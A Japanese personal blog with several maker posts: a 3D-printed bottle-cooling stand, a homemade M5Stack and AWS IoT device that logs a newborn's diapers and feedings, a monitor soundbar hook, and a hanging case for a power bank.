ボウルに哺乳瓶を立てて水を細く流す方法は定番だが、作る量が少ないと浮力で浮いてしまい倒れてしまうことがあった。同じくらいの口径のコップでやれば良さそうだが、手頃なモノがみあたらなかった。

というわけで、適当にモデリングして作った。細い水道水を流し込む口を作り、天面より低い位置に吐水口を設ける。瓶は斜めに保持するように穴を開けておき、入った水が冷却してから吐水口から出て行くようにした。本当にそうなっているかは不明だが。

f:id:syonbori_tech:20200621163459j:plain

f:id:syonbori_tech:20200621165946p:plain

f:id:syonbori_tech:20200621170006p:plain

液体ミルク、もっと安くなってくれると夜間はそれに頼って睡眠時間確保!とかできるんですけどね……

www.thingiverse.com

うんこボタンクローンを作ったら新生児との生活が捗った

f:id:syonbori_tech:20200529224401j:plain

先日、このコロナ禍の真っ最中に第三子が産まれた。父親であっても面会すらできずにたいへんにもどかしい思いをすることになったが、無事に退院してきて5人(+実家からサポートに来てくれた自分の母を入れて6人)の生活が始まった。

子供が生まれたら導入しようと思っていたサービス・製品の筆頭が「うんこボタン」だったのだが、残念ながらサービス終了が予定されているようだった。

unkobtn.com

要するに、Amazon Dashボタンの排便排尿記録版みたいなものなのだが、子育てしてみるとこの手のイベントを記録・共有できることは重要だったりする。うんこボタンは、文字通りボタン一つでそのイベントを記録できて、スマホから簡単に参照・追記できるデバイスだった。

「IoTデバイスHTTPS証明書を失効させてしまい、OTAアップデートもその証明書を検証するので文鎮化」という一件は割と有名で、他山の石として自分も心がけている事例の一つだ。これに伴う回収コストが直接的な原因なのかどうかは不明だが、結局うんこボタンはサービス終了となってしまった。

tech.144lab.com

というわけで、妻が入院してから退院してくるまでの間に、オレオレうんこボタンを作ることにした。単純に作るだけであれば、Zabbixに放り込んで適当に料理するのが手っ取り早いが、今回はAWSの勉強も兼ねてAWS IoT + DynamoDB + Lambda + API Gatewayの構成で実装してみた。デバイス側は使い慣れたM5 Stackを使った。文字通り机に積んである。

こういった機能を実装するにあたり、スマホアプリやWebアプリとして実装するのがイマドキかもしれない。しかし、個人的にはこの用途には向いていないと考えている。スマホで参照するためには、スマホを把持して操作しなければならない。赤子を抱っこした状態では難しいことも多い。それに、アプリを開こうとしたら素敵なスケベピクチャが目に入ってしまったとしたら気が散ってしょうがないだろう。M5 Stackで実装すれば、磁石を使ってそこら辺の壁に貼り付けておくことができる。そこそこ大きい画面があるので、多少離れた位置からでも容易に視認可能だ。何より、操作不要で常時表示にできる。あるべき場所に目をやるだけで、必要な情報にアクセスできることは重要なのだ。

一人目を育てて得られた知見から「うんこ、しっこ、ミルク」の3イベントを記録することにした。M5 Stackにボタンが3つあるからだけど。とりあえず、これらのボタンが押されたらAWS IoTのMQTTでイベントを送出する。これをLambdaで受けて、DynamoDBの「最終うんこ時刻」などを更新する。それだけ。実に単純な実装だがちゃんと動く。(将来的にはグラフ化とかしようと思っていたので都度イベントの記録も取ってあるが今のところ実装する気力がない。)

なお、デバイス側には最終うんこ時刻ではなく、「最終うんこ時刻からの経過時間」を表示する。加えて、うんこなら12時間、しっこ・ミルクなら3時間を経過していたら赤文字で表示するようにした。これは「不意に起こされて対応する場合、思考能力はせいぜい幼稚園児程度」という自らの知見に基づくものである。寝付いたと思った瞬間に起こされた場合に「現在時刻から表示されている時刻を引き算してどれくらい経ったか考える」なんて不可能なのだ。文字が赤かったらとりあえずおむつ替えたりミルク準備したりする。判断すべき内容は極力単純化するべきである。

というわけで、こんな感じのデバイスを作って、赤子氏の近くに設置してある。泣き声割り込みで熟睡タスクが中断されたら、このデバイスに目をやって赤文字の項目をとりあえず対応すればよい。赤文字でなくとも、最終ミルク時刻から2時間も経っていれば、とりあえずミルクをやればよいと判断できる。幸いにして我が子が泣く理由は今のところこの3つ(+だっこリクエスト)に収まっている。

2週間ほど使ってみたが、思いのほか便利で妻にも好評だった。製品化してはどうかと言われるのだが、自分にはマネタイズできる自信が全くない。今でも時々スプライトがバグるしWiFiのトラブルもちょくちょく起きている。だが問題はそこではなく、このデバイスは短命に終わることが望ましいと言う点が問題なのだ。親としては早々に夜長時間寝て欲しいし決まった時刻に排泄をしてくれるに超したことはない。育児におけるごく短期間の苦労をサポートするためのデバイスなのだ。これをサービスにする場合には、クラウドサービスの費用をどう積むかという問題になるのだ。もちろん、デバイスで得られる情報をマネタイズするのもアリだろうが、相応の規模と体力のある研究機関や企業がやることであって、自分のような個人が気軽に手を出せるようなシロモノでもない。

というわけで、例によって「頭のおかしい父親がなんか便利っぽい謎デバイスを作った」という話に落ち着く。同じような問題に困っている人がいるなら真似すれば良いだろうし、自力で実装できないなら身の回りのITエンジニアに相談すると良いだろう。おそらくここまでだらだらと書いてきた内容だけで類似品を容易に実装できるはずだ。

なお、我が家の収納スペースにはまだ若干の余裕がございます。

www.amazon.jp

液晶モニタの下にサウンドバーを下げるホルダを作った

f:id:syonbori_tech:20191005134713j:plain

作業机には、娘をおとなしくさせるための動画用モニタがあり、音量調節の都合から安物のサウンドバーを繋いでいる。今まではこいつを強力建築用両面テープで液晶に固定していたのだが、ついに剥がれてしまった。

どうにかしてモニタに固定できないか悩んだ結果、液晶背面のコネクタ用のスペースにほどよい段差があることが分かったので、こんな感じのフックを3Dプリンタで作って吊した。

f:id:syonbori_tech:20191005133955j:plain

左端の2つが完成版。真ん中は、固定用両面テープの余裕が足りなくて失敗したモノ。インフィル設定が多すぎたせいか、壁面が波打っていて気持ち悪い。右端が応力検証用のモデルで、その隣が補強テスト。こんな感じで簡単に試行錯誤できるから3Dプリンタは本当に便利だ。

ダイソー3000mAhモバイルバッテリの吊り下げ用ケースを作った

ダイソーで500円で売ってる3000mAhの四角いモバイルバッテリを吊り下げて使えるようにするケースを3Dプリンタで作った

タイトルで完結シリーズ。

www.thingiverse.com

息子氏の通院用品をいろいろと充実させているんですが、バッテリとしてダイソーの500円モバイルバッテリを使ってます。薄くてそこそこの容量があって便利。

rezv.net

ですが置き場所に困るので、バギーのフックに吊り下げられるようなホルダを作りました。

f:id:syonbori_tech:20190608170251j:plain

f:id:syonbori_tech:20190608170255j:plain

f:id:syonbori_tech:20190608170305j:plain

フィラメントはPETGを使用。最初サポートなしで作ったらオーバーハング部分がグロ画像みたいな糸引きになってしまったので作り直しました。これさえなければPETG最強なんですけどね……完成版も裏面は結構デコボコですが、まあ見えないので気にしない。

とはいえ、息子氏のバギーにダイソーバッテリを3つもぶら下げて持ち歩くよりは、もっと強いちゃんとした奴をバギーにちゃんと搭載してやった方がコンパクトに収まりそうな気がしますね……